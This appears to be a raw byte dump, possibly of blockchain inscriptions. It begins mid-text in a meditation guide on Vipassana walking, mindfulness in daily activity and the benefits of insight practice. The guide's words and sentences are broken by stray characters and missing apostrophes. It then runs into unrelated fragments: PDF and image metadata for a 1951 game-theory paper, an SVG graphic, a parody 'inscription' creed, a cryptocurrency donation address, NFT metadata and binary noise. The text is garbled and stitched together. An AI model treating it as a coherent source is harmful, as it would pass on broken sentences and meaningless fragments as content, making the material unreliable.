t think, just feel. You don
t need the concept of feet and M
t need pictures. Just register the sensations as they flow. In the beginning, you will probably have some difficulties with balance. You are using the leg muscles in a new way, and a learning period is natural. If frustration arises, just note that and let it go.
The Vipassana walking technique is designed to flood your consciousness with simple sensations, and to do it so thoroughly that all else is pushed aside. There is no room for thought and no room for emotion. There is no time for grasping, and M
none for freezing the activity into a series of concepts. There is no need for a sense of self. There is only the sweep of tactile and kinesthetic sensation, an endless and ever-changing flood of raw experience. We are learning here to escape into reality, rather than from it. Whatever insights we gain are directly applicable to the rest of our notion-filled lives.
The goal of our practice is to become fully aware of all facets of our experience in an unbroken, moment-to-moment flow. Much of what M
we do and experience is completely unconscious in the sense that we do it with little or no attention. Our minds are on something else entirely. We spend most of our time running on automatic pilot, lost in the fog of day-dreams and preoccupations.
One of the most frequently ignored aspects of our existence is our body. The technicolor cartoon show inside our head is so alluring that we tend to remove all of our attention from the kinesthetic and tactile senses. That information is pouring up the nerves and intoM
 the brain every second, but we have largely sealed it off from consciousness. It pours into the lower levels of the mind and it gets no further. Buddhists have developed an exercise to open the floodgates and let this material through to consciousness. It
s another way of making the unconscious conscious.
Your body goes through all kinds of contortions in the course of a single day. You sit and you stand. You walk and lie down. You bend, run, crawl, and sprawl. Meditation teachers urge you to become aware of M
this constantly ongoing dance. As you go through your day, spend a few seconds every few minutes to check your posture. Don
t do it in a judgmental way. This is not an exercise to correct your posture, or to improve you appearance. Sweep your attention down through the body and feel how you are holding it. Make a silent mental note of
. It all sounds absurdly simple, but don
t slight this procedure. This is a powerful exercise. If you do it thoM
roughly, if you really instill this mental habit deeply, it can revolutionize your experience. It taps you into a whole new dimension of sensation, and you feel like a blind man whose sight has been restored.
3. Slow-Motion Activity
Every action you perform is made up of separate components. The simple action of tying your shoelaces is made up of a complex series of subtle motions. Most of these details go unobserved. In order to promote the overall habit of mindfulness, you can perform simple activities at vM
making an effort to pay full attention to every nuance of the act.
Sitting at a table and drinking a cup of tea is one example. There is much here to be experienced. View your posture as you are sitting and feel the handle of the cup between your fingers. Smell the aroma of the tea, notice the placement of the cup, the tea, your arm, and the table. Watch the intention to raise the arm arise within your mind, feel the arm as it raises, feel the cup against your lips and the liquid pouring into youM
r mouth. Taste the tea, then watch the arising of the intention to lower your arm. The entire process is fascinating and beautiful, if you attend to it fully, paying detached attention to every sensation and to the flow of thought and emotion.
This same tactic can be applied to many of your daily activities. Intentionally slowing down your thoughts, words and movements allows you to penetrate far more deeply into them than you otherwise could. What you find there is utterly astonishing. In the beginning, it is vM
ery difficult to keep this deliberately slow pace during most regular activities, but skill grows with time. Profound realizations occur during sitting meditation, but even more profound revelations can take place when we really examine our own inner workings in the midst of day-to-day activities. This is the laboratory where we really start to see the mechanisms of our own emotions and the operations of our passions. Here is where we can truly gauge the reliability of our reasoning, and glimpse the difference betwM
een our true motives and the armor of pretense that we wear to fool ourselves and others.
We will find a great deal of this information surprising, much of it disturbing, but all of it useful. Bare attention brings order into the clutter that collects in those untidy little hidden corners of the mind. As you achieve clear comprehension in the midst of life
s ordinary activities, you gain the ability to remain rational and peaceful while you throw the penetrating light of mindfulness into those irrational mentaM
l nooks and crannies. You start to see the extent to which you are responsible for your own mental suffering. You see your own miseries, fears, and tensions as self-generated. You see the way you cause your own suffering, weakness, and limitations. And the more deeply you understand these mental processes, the less hold they have on you.
4. Breath Coordination
In seated meditation, our primary focus is the breath. Total concentration on the ever-changing breath brings us squarely into the present moment. The M
same principle can be used in the midst of movement. You can coordinate the activity in which you are involved with your breathing. This lends a flowing rhythm to your movement, and it smooths out many of the abrupt transitions. Activity becomes easier to focus on, and mindfulness is increased. Your awareness thus stays more easily in the present. Ideally, meditation should be a 24 hour-a-day practice. This is a highly practical suggestion.
A state of mindfulness is a state of mental readiness. The mind is not bM
urdened with preoccupations or bound in worries. Whatever comes up can be dealt with instantly. When you are truly mindful, your nervous system has a freshness and resiliency which fosters insight. A problem arises and you simply deal with it, quickly, efficiently, and with a minimum of fuss. You don
t stand there in a dither, and you don
t run off to a quiet corner so you can sit down and meditate about it. You simply deal with it. And in those rare circumstances when no solution seems possible, you don
rry about that. You just go on to the next thing that needs your attention. Your intuition becomes a very practical faculty.
The concept of wasted time does not exist for a serious meditator. Little dead spaces during your day can be turned to profit. Every spare moment can be used for meditation. Sitting anxiously in the dentist
s office, meditate on your anxiety. Feeling irritated while standing in a line at the bank, meditate on irritation. Bored, twiddling you thumbs at the bus stop, mM
editate on boredom. Try to stay alert and aware throughout the day. Be mindful of exactly what is taking place right now, even if it is tedious drudgery. Take advantage of moments when you are alone. Take advantage of activities that are largely mechanical. Use every spare second to be mindful. Use all the moments you can.
6. Concentration on All Activities
You should try to maintain mindfulness of every activity and perception through the day, starting with the first perception when you awake, and ending witM
h the last thought before you fall asleep. This is an incredibly tall goal to shoot for. Don
t expect to be able to achieve this work soon. Just take it slowly and let your abilities grow over time. The most feasible way to go about the task is to divide your day up into chunks. Dedicate a certain interval to mindfulness of posture, then extend this mindfulness to other simple activities: eating, washing, dressing, and so forth. Sometime during the day, you can set aside 15 minutes or so to practice the observatiM
on of specific types of mental states: pleasant, unpleasant, and neutral feelings, for instance; or the hindrances, or thoughts. The specific routine is up to you. The idea is to get practice at spotting the various items, and to preserve your state of mindfulness as fully as you can throughout the day.
Try to achieve a daily routine in which there is as little difference as possible between seated meditation and the rest of your experience. Let the one slide naturally into the other. Your body is almost never sM
till. There is always motion to observe. At the very least, there is breathing. Your mind never stops chattering, except in the very deepest states of concentration. There is always something coming up to observe. If you seriously apply your meditation, you will never be at a loss for something worthy of your attention.
Your practice must be made to apply to your everyday living situation. That is your laboratory. It provides the trials and challenges you need to make your practice deep and genuine. It
ire that purifies your practice of deception and error, the acid test that shows you when you are getting somewhere and when you are fooling yourself. If your meditation isn
t helping you to cope with everyday conflicts and struggles, then it is shallow. If your day-to-day emotional reactions are not becoming clearer and easier to manage, then you are wasting your time. And you never know how you are doing until you actually make that test.
The practice of mindfulness is supposed to be a universal practice. YoM
t do it sometimes and drop it the rest of the time. You do it all the time. Meditation that is successful only when you are withdrawn in some soundproof ivory tower is still undeveloped. Insight meditation is the practice of moment-to-moment mindfulness. The meditator learns to pay bare attention to the birth, growth, and decay of all the phenomena of the mind. He turns from none of it, and he lets none of it escape. Thoughts and emotions, activities and desires, the whole show. He watches it all and he watM
ches it continuously. It matters not whether it is lovely or horrid, beautiful or shameful. He sees the way it is and the way it changes. No aspect of experience is excluded or avoided. It is a very thoroughgoing procedure.
If you are moving through your daily activities and you find yourself in a state of boredom, then meditate on your boredom. Find out how it feels, how it works, and what it is composed of. If you are angry, meditate on the anger. Explore the mechanics of anger. Don
t run from it. If you finM
d yourself sitting in the grip of a dark depression, meditate on the depression. Investigate depression in a detached and inquiring way. Don
t flee from it blindly. Explore the maze and chart its pathways. That way you will be better able to cope with the next depression that comes along.
Meditating your way through the ups and downs of daily life is the whole point of Vipassana. This kind of practice is extremely rigorous and demanding, but it engenders a state of mental flexibility that is beyond comparison.M
 A meditator keeps his mind open every second. He is constantly investigating life, inspecting his own experience, viewing existence in a detached and inquisitive way. Thus he is constantly open to truth in any form, from any source, and at any time. This is the state of mind you need for Liberation.
It is said that one may attain enlightenment at any moment if the mind is kept in a state of meditative readiness. The tiniest, most ordinary perception can be the stimulus: a view of the moon, the cry of a bird, thM
e sound of the wind in the trees. it
s not so important what is perceived as the way in which you attend to that perception. The state of open readiness is essential. It could happen to you right now if you are ready. The tactile sensation of this book in your fingers could be the cue. The sound of these words in your head might be enough. You could attain enlightenment right now, if you are ready.
XVI) WHAT'S IN IT FOR YOU
You can expect certain benefits from your meditation. The initial ones are practicM
al, prosaic things; the later stages are profoundly transcendent. They run together from the simple to the sublime. We will set forth some of them here. Your own experience is all that counts.
Those things that we called hindrances or defilements are more than just unpleasant mental habits. They are the primary manifestations of the ego process itself. The ego sense itself is essentially a feeling of separation
 a perception of distance between that which we call me, and that which we call other. This perceptM
ion is held in place only if it is constantly exercised, and the hindrances constitute that exercise.
Greed and lust are attempts to get
 for me; hatred and aversion are attempts to place greater distance between
. All the defilements depend upon the perception of a barrier between self and other, and all of them foster this perception every time they are exercised. Mindfulness perceives things deeply and with great clarity. It brings our attention to the root of the defilementM
s and lays bare their mechanism. It sees their fruits and their effects upon us. It cannot be fooled. Once you have clearly seen what greed really is and what it really does to you and to others, you just naturally cease to engage in it. When a child burns his hand on a hot oven, you don
t have to tell him to pull it back; he does it naturally, without conscious thought and without decision. There is a reflex action built into the nervous system for just that purpose, and it works faster than thought. By the timeM
 the child perceives the sensation of heat and begins to cry, the hand has already been jerked back from the source of pain. Mindfulness works in very much the same way: it is wordless, spontaneous and utterly efficient. Clear mindfulness inhibits the growth of hindrances; continuous mindfulness extinguishes them. Thus, as genuine mindfulness is built up, the walls of the ego itself are broken down, craving diminishes, defensiveness and rigidity lessen, you become more open, accepting and flexible. You learn to shaM
re your loving-friendliness.
Traditionally, Buddhists are reluctant to talk about the ultimate nature of human beings. But those who are willing to make descriptive statements at all usually say that our ultimate essence or Buddha nature is pure, holy and inherently good. The only reason that human beings appear otherwise is that their experience of that ultimate essence has been hindered; it has been blocked like water behind a dam. The hindrances are the bricks of which the dam is built. As mindfulness dissolvM
es the bricks, holes are punched in the dam and compassion and sympathetic joy come flooding forward. As meditative mindfulness develops, your whole experience of life changes. Your experience of being alive, the very sensation of being conscious, becomes lucid and precise, no longer just an unnoticed background for your preoccupations. It becomes a thing consistently perceived.
Each passing moment stands out as itself; the moments no longer blend together in an unnoticed blur. Nothing is glossed over or taken fM
or granted, no experiences labeled as merely
. Everything looks bright and special. You refrain from categorizing your experiences into mental pigeonholes. Descriptions and interpretations are chucked aside and each moment of time is allowed to speak for itself. You actually listen to what it has to say, and you listen as if it were being heard for the very first time. When your meditation becomes really powerful, it also becomes constant. You consistently observe with bare attention both the breath aM
nd every mental phenomenon. You feel increasingly stable, increasingly moored in the stark and simple experience of moment-to-moment existence.
Once your mind is free from thought, it becomes clearly wakeful and at rest in an utterly simple awareness. This awareness cannot be described adequately. Words are not enough. It can only be experienced. Breath ceases to be just breath; it is no longer limited to the static and familiar concept you once held. You no longer see it as a succession of just inhalations and M
exhalations; it is no longer some insignificant monotonous experience. Breath becomes a living, changing process, something alive and fascinating. It is no longer something that takes place in time; it is perceived as the present moment itself. Time is seen as a concept, not an experienced reality.
This is simplified, rudimentary awareness which is stripped of all extraneous detail. It is grounded in a living flow of the present, and it is marked by a pronounced sense of reality. You know absolutely that this isM
 real, more real than anything you have ever experienced. Once you have gained this perception with absolute certainty, you have a fresh vantage point, a new criterion against which to gauge all of your experience. After this perception, you see clearly those moments when you are participating in bare phenomena alone, and those moments when you are disturbing phenomena with mental attitudes. You watch yourself twisting reality with mental comments, with stale images and personal opinions. You know what you are doinM
g, when you are doing it. You become increasingly sensitive to the ways in which you miss the true reality, and you gravitate towards the simple objective perspective which does not add to or subtract from what is. You become a very perceptive individual. From this vantage point, all is seen with clarity. The innumerable activities of mind and body stand out in glaring detail. You mindfully observe the incessant rise and fall of breath; you watch an endless stream of bodily sensations and movements; you scan a rapiM
d succession of thoughts and feelings, and you sense the rhythm that echoes from the steady march of time. And in the midst of all this ceaseless movement, there is no watcher, there is only watching.
In this state of perception, nothing remains the same for two consecutive moments. Everything is seen to be in constant transformation. All things are born, all things grow old and die. There are no exceptions. You awaken to the unceasing changes of your own life. You look around and see everything in flux, everythM
ing, everything, everything. It is all rising and falling, intensifying and diminishing, coming into existence and passing away. All of life, every bit of it from the infinitesimal to the Indian Ocean, is in motion constantly. You perceive the universe as a great flowing river of experience. Your most cherished possessions are slipping away, and so is your very life. Yet this impermanence is no reason for grief. You stand there transfixed, staring at this incessant activity, and your response is wondrous joy. It
s all moving, dancing and full of life.
As you continue to observe these changes and you see how it all fits together, you become aware of the intimate connectedness of all mental, sensory and affective phenomena. You watch one thought leading to another, you see destruction giving rise to emotional reactions and feelings giving rise to more thoughts. Actions, thoughts, feelings, desires
 you see all of them intimately linked together in a delicate fabric of cause and effect. You watch pleasurable experiencesM
 arise and fall and you see that they never last; you watch pain come uninvited and you watch yourself anxiously struggling to throw it off; you see yourself fail. It all happens over and over while you stand back quietly and just watch it all work.
Out of this living laboratory itself comes an inner and unassailable conclusion. You see that your life is marked by disappointment and frustration, and you clearly see the source. These reactions arise out of your own inability to get what you want, your fear of losM
ing what you have already gained and your habit of never being satisfied with what you have. These are no longer theoretical concepts
 you have seen these things for yourself and you know that they are real. You perceive your own fear, your own basic insecurity in the face of life and death. It is a profound tension that goes all the way down to the root of thought and makes all of life a struggle. You watch yourself anxiously groping about, fearfully grasping for something, anything, to hold onto in the midst oM
f all these shifting sands, and you see that there is nothing to hold onto, nothing that doesn
You see the pain of loss and grief, you watch yourself being forced to adjust to painful developments day after day in your own ordinary existence. You witness the tensions and conflicts inherent in the very process of everyday living, and you see how superficial most of your concerns really are. You watch the progress of pain, sickness, old age and death. You learn to marvel that all these horrible things M
are not fearful at all. They are simply reality.
Through this intensive study of the negative aspects of your existence, you become deeply acquainted with dukkha, the unsatisfactory nature of all existence. You begin to perceive dukkha at all levels of our human life, from the obvious down to the most subtle. You see the way suffering inevitably follows in the wake of clinging, as soon as you grasp anything, pain inevitably follows. Once you become fully acquainted with the whole dynamic of desire, you become seM
nsitized to it. You see where it rises, when it rises and how it affects you. You watch it operate over and over, manifesting through every sense channel, taking control of the mind and making consciousness its slave.
In the midst of every pleasant experience, you watch your own craving and clinging take place. In the midst of unpleasant experiences, you watch a very powerful resistance take hold. You do not block these phenomena, you just watch them, you see them as the very stuff of human thought. You search fM
or that thing you call
, but what you find is a physical body and how you have identified your sense of yourself with that bag of skin and bones. You search further and you find all manner of mental phenomena, such as emotions, thought patterns and opinions, and see how you identify the sense of yourself with each of them. You watch yourself becoming possessive, protective and defensive over these pitiful things and you see how crazy that is. You rummage furiously among these various items, constantly searcM
physical matter, bodily sensations, feelings and emotions
it all keeps whirling round and round as you root through it, peering into every nook and cranny, endlessly hunting for
You find nothing. In all that collection of mental hardware in this endless stream of ever-shifting experience all you can find is innumerable impersonal processes which have been caused and conditioned by previous processes. There is no static self to be found; it is all process. You find thoughts but no M
thinker, you find emotions and desires, but nobody doing them. The house itself is empty. There is nobody home.
Your whole view of self changes at this point. You begin to look upon yourself as if you were a newspaper photograph. When viewed with the naked eyes, the photograph you see is a definite image. When viewed through a magnifying glass, it all breaks down into an intricate configuration of dots. Similarly, under the penetrating gaze of mindfulness, the feeling of self, an
 loses its solidity and dissolves. There comes a point in insight meditation where the three characteristics of existence
impermanence, unsatisfactoriness and selflessness
 come rushing home with concept-searing force. You vividly experience the impermanence of life, the suffering nature of human existence, and the truth of no self. You experience these things so graphically that you suddenly awake to the utter futility of craving, grasping and resistance. In the clarity and purity of this profound moment, our M
consciousness is transformed. The entity of self evaporates. All that is left is an infinity of interrelated non-personal phenomena which are conditioned and ever changing. Craving is extinguished and a great burden is lifted. There remains only an effortless flow, without a trace of resistance or tension. There remains only peace, and blessed Nibbana, the uncreated, is realized.
Dated December 7, 1990
From mindfulness-in-plain-english.github.io
Inscribed by etching.net
Support the preservation of huL
man knowledge with Monero (XMR):
87xb6Bg3RaseVRbyhBdiqZ8KGNh9PNn5XA5v96P7WfQXY1nm8dPx4QvAkh52UrLmK6Yt6VTWLeVVaNPSBoJm4PZnDDYsYZF
<< /Type /ObjStm /Length 1184 /Filter /FlateDecode /N 29 /First 214 >>
<< /Subtype /XML /Type /Metadata /Length 1671 >>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP toolkit 2.9.1-13, framework 1.6">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syM
ntax-ns#" xmlns:iX="http://ns.adobe.com/iX/1.0/">
<rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about=""><pdf:Producer>pikepdf 2.11.1</pdf:Producer>
<pdf:Keywords> Annals of Mathematics  Second Series, Vol. 54, No. 2 (Sep., 1951), pp. 286-295 (10 pages)  https://www.jstor.org/stable/1969529 Nash equilibrium, game theory, poker</pdf:Keywords>
<rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about=""><xmp:ModifyDate>2021-11-28T20:04:43+00:00</xmp:ModifyDate>
Date>2021-11-28T15:03:21-05:00</xmp:CreateDate>
<xmp:CreatorTool>ocrmypdf 11.7.3 / Tesseract OCR-PDF 4.1.1</xmp:CreatorTool></rdf:Description>
<rdf:Description xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about="" xapMM:DocumentID="uuid:f8d707f2-88a2-11f7-0000-0ab84bd7319b"/>
<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about="" dc:format="application/pdf"><dc:title><rdf:Alt><rdf:li xml:lang="x-default">Non-Cooperative Games</rdf:li></rdf:Alt></dc:title><dc:creator><rdf:Seq><rdf:li>John NasM
h</rdf:li></rdf:Seq></dc:creator><dc:description><rdf:Alt><rdf:li xml:lang="x-default">game theory</rdf:li></rdf:Alt></dc:description></rdf:Description>
<rdf:Description xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/" rdf:about="" pdfaid:part="2" pdfaid:conformance="B"/><rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about="" xmp:MetadataDate="2021-11-28T15:04:43.116139-05:00"/></rdf:RDF>
<< /Filter /FlateDecode /Length 6125 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter M
/JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 9397 >>
<< /Filter /FlateDecode /Length 535 >>
<< /Filter /FlateDecode /Length 189 >>
<< /Filter /FlateDecode /LengM
<< /Filter /FlateDecode /Length 8129 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 7776 >>
<< /Filter /FlateDecode /Length 9613 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 10944 >>
<< /Filter /FlateDecode /Length 5655 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 8486 >>
<< /Filter /FlateDecode /Length 6681 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 8590 >>
<< /Filter /FlateDecode /Length 6013 >>
<< /BitsPerComponent 1 /ColorSpacM
e /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 6106 >>
<< /Filter /FlateDecode /Length 5858 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 9327 >>
<< /Filter /FlateDecode /Length 6753 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGM
ray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 9474 >>
<< /Filter /FlateDecode /Length 5477 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /Length 8448 >>
<< /Filter /FlateDecode /Length 6627 >>
<< /BitsPerComponent 1 /ColorSpace /DeviceGray /DecodeParms << /JBIG2Globals 56 0 R >> /Filter /JBIG2Decode /Height 5392 /Subtype /Image /Width 3744 /LM
<< /Filter /FlateDecode /N 3 /Length 2452 >>
<< /Length 24377 /Filter /FlateDecode >>
<< /Type /XRef /Length 123 /Filter /FlateDecode /DecodeParms << /Columns 5 /Predictor 12 >> /W [ 1 3 1 ] /Info 3 0 R /Root 2 0 R /Size 58 /ID [<59a8560eddad7926235ce169fda473cc><73ff2M
e7cb0aaac5675da5d127b5d470f>] >>
%BeginExifToolUpdate
/CreationDate (D:20211128150321-05'00')
/Creator (pdftk-java 3.0.9)
/Keywords ( Annals of Mathematics  Second Series, Vol. 54, No. 2 \(Sep., 1951\), pp. 286-295 \(10 pages\)  https://www.jstor.org/stable/1969529 Nash equilibrium, game theory, poker)
211128150321-05'00')
/Producer (itext-paulo-155 \(itextpdf.sf.net-lowagie.com\))
/Subject (game theory)
/Title (Non-Cooperative Games)
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 11.88'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
dftk-java 3.0.9</rdf:li>
    <rdf:li>1951-09</rdf:li>
    <rdf:li xml:lang='x-default'>game theory</rdf:li>
  <dc:format>application/pdf</dc:format>
    <rdf:li>game theory</rdf:li>
    <rdf:li xml:lang='x-default'>Non-Cooperative Games</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>John Nash</pdf:Author>
  <pdf:Keywords> Annals of Mathematics  Second Series, Vol. 54, No. 2 (Sep., 1951), pp. 286-295 (10 pages)  https://www.jstor.org/stable/1969529 Nash equilibrium, game theory, poker</pdf:Keywords>
  <pdf:PDFVersion>1.2</pdf:PDFVersion>
  <pdf:Producer>itext-paulo-155 (itextpdf.sf.net-lowagie.com)</pdf:Producer>
 <rdf:Description rdf:about=''
  xmlns:pdfaid='http://www.aiim.org/M
  <pdfaid:conformance>B</pdfaid:conformance>
  <pdfaid:part>2</pdfaid:part>
 <rdf:Description rdf:about=''
  xmlns:prism='http://prismstandard.org/namespaces/basic/2.0/'>
  <prism:doi>10.2307/1969529</prism:doi>
  <prism:pageCount>10</prism:pageCount>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreateDate>2021-11-28T15:03:21-05:00</xmp:CreateDate>
  <xmp:CreatorTool>ocrmypdf 11.7.3 / Tesseract OCR-PDF 4.1.1</xmp:CreatorTooM
  <xmp:MetadataDate>2021-11-28T15:04:43.116139-05:00</xmp:MetadataDate>
  <xmp:ModifyDate>2021-11-28T15:03:21-05:00</xmp:ModifyDate>
 <rdf:Description rdf:about=''
  xmlns:xmpMM='http://ns.adobe.com/xap/1.0/mm/'>
  <xmpMM:DocumentID>uuid:f8d707f2-88a2-11f7-0000-0ab84bd7319b</xmpMM:DocumentID>

                                                         M





                                                                        M





                                                                                       M












/ID [ <59a8560eddad7926235ce169fda473cc> <74ff2e7cb0aaac5675da5d127b5d470f> ]
/Index [ 0 1 3 1 31 1 58 1 ]
%EndExifToolUpdate 190004
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://M
ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:7eae5111-5887-4cd2-ae10-427b998354ad" xmpMM:InstanceID="xmp.iid:f92c7cfd-bb44-4e93-a314-15bd753aed5c" xmpMM:OriginalDocumentID="xmp.did:798d2dd7-0b09-4fd6-b5df-155cd82de858" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413539532889" GIMP:VeM
rsion="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:25:38+11:00" xmp:ModifyDate="2023:02:15T09:25:38+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:dd3cc25c-1ed2-49e6-bc01-58c0d56c92d3" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:25:39"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                       <?xpacket end="w"?>h!
'<%+%%+%<5@404@5_JBBJ_m\W\m
'<%+%%+%<5@404@5_JBBJ_m\W\m
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        ">
	<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
		<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/M
" xmpMM:DocumentID="xmp.did:E69FC91B5FCC11E2A84FA8352C2B3CDC" xmpMM:InstanceID="xmp.iid:E69FC91A5FCC11E2A84FA8352C2B3CDC" xmp:CreatorTool="Adobe Photoshop CS6 Macintosh">
			<xmpMM:DerivedFrom stRef:instanceID="7B6BB9F1CD2238597E6C339DC531F12B" stRef:documentID="7B6BB9F1CD2238597E6C339DC531F12B"/>
		</rdf:Description>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
"THIS IS A BEARER ASSET"
"THIS IS A BEARER ASSET/HOLDER HAS FULL RIGHTS OF OWNERSHIP/NO RIGHTS RESERVED"
"This is my ugly inscription.There are many others like it, but this one is mine. "
"My ugly inscription is my best friend. "
"It is uglier than my life. "
"Without me, my ugly inscriptionM
"I must transact my ugly inscription true. "
"I must ugly inscript better than my enemy, who is trying to kill bitcoin."
"I must inscript him before he inscripts me. "
"Before Blockchain I swear this creed: "
"my ugly inscription and myself are defenders of bitcoin."
"We are the masters of our enemy. "
"We are the saviors of blockchain. "
"So be it, until there is no enemy, but peace. Amen."
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dHY
l_-EsSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSR
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================

ffffffffffffffffffffffffffgQ
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-=-157:::#+?D?8C49:7
%77777777777777777777777777777777777777777777777777
""""""""""""""""""""""""""""""""""""""""""""""""""
-=-157:::#+?D?8C49:7
%77777777777777777777777777777777777777777777777777

fffffffffffffffffffffffffffg
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
"2A#3456$BQ0CDR%&a7q
-=-157:::#+?D?8C49:7
%77777777777777777777777777777777777777777777777777
*9*-13666 (;?:4>0563
"33333333333333333333333333333333333333333333333333
 00000000000000000000000000000000000000000000000000
text/plain;charset=utf-8
c/Foundry USA Pool #dropgold/	lA
text/plain;charset=utf-8
@bitcoinlambos twitterh!
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
